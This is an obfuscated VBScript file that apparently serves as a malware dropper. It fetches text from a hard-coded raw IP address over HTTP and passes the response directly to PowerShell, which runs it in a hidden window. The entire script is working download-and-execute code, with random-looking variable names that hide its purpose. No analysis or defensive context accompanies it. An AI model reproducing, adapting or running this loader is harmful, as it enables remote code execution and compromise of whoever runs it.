Dim WzoxZWeWcbnAHkGaciqRLpTPWOzASLxNgAcoznGLgpWjhWiaCbKeiGUsxWLGuKoURiIfJKfNGphmWuNKtBcAriUiNkiiLQRuKWAn, zcpcfGqpKdCkcuZfNGohcjuILbuUKkKubhPkPGAnZABqOWpoLcOeGkUbGlULoWUcxmRjRmGepKKKmmGKBhiuUIbWridWcSanLimp
Set WzoxZWeWcbnAHkGaciqRLpTPWOzASLxNgAcoznGLgpWjhWiaCbKeiGUsxWLGuKoURiIfJKfNGphmWuNKtBcAriUiNkiiLQRuKWAn = CreateObject("MSXML2.ServerXMLHTTP")
WzoxZWeWcbnAHkGaciqRLpTPWOzASLxNgAcoznGLgpWjhWiaCbKeiGUsxWLGuKoURiIfJKfNGphmWuNKtBcAriUiNkiiLQRuKWAn.Open "GET", "http://91.92.254.14/Users_API/syscore/file_fdncluho.ggk.txt", False
WzoxZWeWcbnAHkGaciqRLpTPWOzASLxNgAcoznGLgpWjhWiaCbKeiGUsxWLGuKoURiIfJKfNGphmWuNKtBcAriUiNkiiLQRuKWAn.Send
If WzoxZWeWcbnAHkGaciqRLpTPWOzASLxNgAcoznGLgpWjhWiaCbKeiGUsxWLGuKoURiIfJKfNGphmWuNKtBcAriUiNkiiLQRuKWAn.Status = 200 Then
zcpcfGqpKdCkcuZfNGohcjuILbuUKkKubhPkPGAnZABqOWpoLcOeGkUbGlULoWUcxmRjRmGepKKKmmGKBhiuUIbWridWcSanLimp = WzoxZWeWcbnAHkGaciqRLpTPWOzASLxNgAcoznGLgpWjhWiaCbKeiGUsxWLGuKoURiIfJKfNGphmWuNKtBcAriUiNkiiLQRuKWAn.responseText
Dim qmhkmdlOcWLKsULCWLaZcempqUcieKGAULzLLCkoeLLLbrHiccLTiiALcCLhsNWmUtUaWchGAnKiLLumihAekKfxTLAWvKWINpch
Set qmhkmdlOcWLKsULCWLaZcempqUcieKGAULzLLCkoeLLLbrHiccLTiiALcCLhsNWmUtUaWchGAnKiLLumihAekKfxTLAWvKWINpch = CreateObject("WScript.Shell")
qmhkmdlOcWLKsULCWLaZcempqUcieKGAULzLLCkoeLLLbrHiccLTiiALcCLhsNWmUtUaWchGAnKiLLumihAekKfxTLAWvKWINpch.Run "powershell -Command """ & zcpcfGqpKdCkcuZfNGohcjuILbuUKkKubhPkPGAnZABqOWpoLcOeGkUbGlULoWUcxmRjRmGepKKKmmGKBhiuUIbWridWcSanLimp & """", 0, True
Set qmhkmdlOcWLKsULCWLaZcempqUcieKGAULzLLCkoeLLLbrHiccLTiiALcCLhsNWmUtUaWchGAnKiLLumihAekKfxTLAWvKWINpch = Nothing
End If
Set WzoxZWeWcbnAHkGaciqRLpTPWOzASLxNgAcoznGLgpWjhWiaCbKeiGUsxWLGuKoURiIfJKfNGphmWuNKtBcAriUiNkiiLQRuKWAn = Nothing